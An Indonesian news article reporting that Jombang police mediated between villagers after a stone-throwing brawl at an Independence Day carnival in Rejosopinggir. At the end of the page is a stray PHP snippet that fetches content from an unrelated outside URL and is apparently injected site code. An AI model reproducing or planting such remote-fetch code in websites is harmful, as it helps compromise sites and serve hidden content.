Polres Jombang Memediasi Warga yang Terlibat Tawuran Karnaval

Selasa, 3 September 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jombang | jejakkasus.info – Polisi dengan cepat turun tangan menangani tawuran antar penonton karnaval di Desa Rejosopinggir, Kecamatan Tembelang, Jombang. Para pihak dihadirkan untuk dilakukan mediasi.

Aksi tawuran mewarnai karnaval dalam rangka peringatan Hari Kemerdekaan RI di Desa Rejosopinggir pada Minggu (01/09/2024) sore. Insiden tawuran antar penonton terjadi saat tengah-tengah acara. Kedua kelompok saling serang dengan melempar batu.

Kericuhan ini pun langsung ditindaklanjuti Polres Jombang keesokan harinya dengan cara mengumpulkan perangkat Desa, tokoh masyarakat dan perwakilan warga tersebut di ruang Jombang Command Center (JCC) Polres Jombang Polres. Acara itu sendiri dihadiri sekitar 20 orang.

Baca Juga:  Polres Sekadau Datangkan Motivator Nasional Tingkatkan Kualitas Sumber Daya Manusia

Mewakili Kapolres Jombang AKBP Eko Bagus Riyadi, Wakapolres Jombang Kompol Hari Kurniawan memimpin langsung mediasi kedua kelompok warga yang bersiteru tersebut. Acara tersebut juga dihadiri Kasat Reskrim Polres Jombang AKP Margono Suhendra, dan Kapolsek Tembelang Iptu Fadilah. Turut hadir Kepala Desa Rejosopinggir Yoyok Supriyanto beserta perangkat desa hingga perwakilan tokoh masyarakat.

Dalam kesempatan tersebut, Wakapolres Jombang Kompol Hari Kurniawan menyampaikan adanya keributan yang terjadi di desa Rejosopinggir kecamatan Tembelang melibatkan antara warga sekitar dengan peserta karnaval.

Baca Juga:  Polsek Mengwi Tingkatkan Patroli Biru, Sampaikan Imbauan Kamtibmas

“Kami memperoleh informasi bahwa keributan tersebut karena ada unsur balas dendam,” ungkap Kompol Hari.

Selain itu, pihaknya berharap kedepannya ada solusi dan perselisihan yang terjadi dapat terselesaikan sehingga warga tidak merasa resah.

“Kepada Kepala Desa yang nantinya dibantu dengan Bhabinkamtibmas beserta Babinsa untuk mencari akar permasalahannya,” tutur Wakapolres Jombang.

Selain itu, perwira berpangkat melati satu di pundak ini menegaskan akan menjalankan proses hukum apabila terdapat indikasi pelaku kejadian keributan tersebut.

“Untuk korban dilakukan Visum, dan apabila nanti ada indikasi pelaku maka akan ditangkap dan diproses hukum,” tegasnya.

Baca Juga:  Bhabinkamtibmas Singakerta Bersinergi Dengan Pecalang Lancarkan Giat Meajar-ajar

Hal senada, diungkapkan oleh Yoyok Supriyanto, ia berharap kedepannya untuk desa Rejosopinggir bisa damai dan rukun.

“Semoga kedepan desa kami bisa damai serta rukun karena itu bisa membawa nama baik desa kami,” kata Yoyok.

Pihaknya juga telah berupaya untuk menyatukan masyarakat dengan melakukan berbagai kegiatan yang melibatkan masyarakat.

“Kami mengadakan posyandu di tiap-tiap dusun, harapannya bisa terjalin hubungan yang harmonis antara generasi muda hingga dewasa,” pungkasnya.( Masruroh- JK)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga
Prajurit Kodam IX/Udayana Raih Medali di Cabang MMA PON XXI 2024
Kuasa hukum AG, Reydi Nobel.S.H apresiasi majelis hakim tunggal, ni Made Dewi Sukarni.SH karena mengabulkan permohonan praperadilan.
Polsek Petang Gelar Blue Light Patrol Antisipasi Gangguan Kamtibmas Jelang Pilkada 2024
Tingkatkan Patroli Samapta Polsek Mengwi Sambangi SPBU
Menjelang Pilkada Kabupaten Sidoarjo Bhabinkamtibmas Polsek Tanggulangin Adakan Dialog Dengan Tokoh Agama Dan Masyarakat.
Tim Voli Putri Jatim Sabet Medali Emas pada PON XXI Aceh Sumut
Masih Perlukah Cuma Teteskan Air Mata Untuk Menangisi Peraturan Pemerintah Yang Mencekik Ini

Berita Terkait

Jumat, 20 September 2024 - 11:01 WIB

Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga

Jumat, 20 September 2024 - 10:59 WIB

Prajurit Kodam IX/Udayana Raih Medali di Cabang MMA PON XXI 2024

Jumat, 20 September 2024 - 10:58 WIB

Kuasa hukum AG, Reydi Nobel.S.H apresiasi majelis hakim tunggal, ni Made Dewi Sukarni.SH karena mengabulkan permohonan praperadilan.

Jumat, 20 September 2024 - 10:57 WIB

Polsek Petang Gelar Blue Light Patrol Antisipasi Gangguan Kamtibmas Jelang Pilkada 2024

Jumat, 20 September 2024 - 10:56 WIB

Tingkatkan Patroli Samapta Polsek Mengwi Sambangi SPBU

Berita Terbaru

Peristiwa

Tingkatkan Patroli Samapta Polsek Mengwi Sambangi SPBU

Jumat, 20 Sep 2024 - 10:56 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>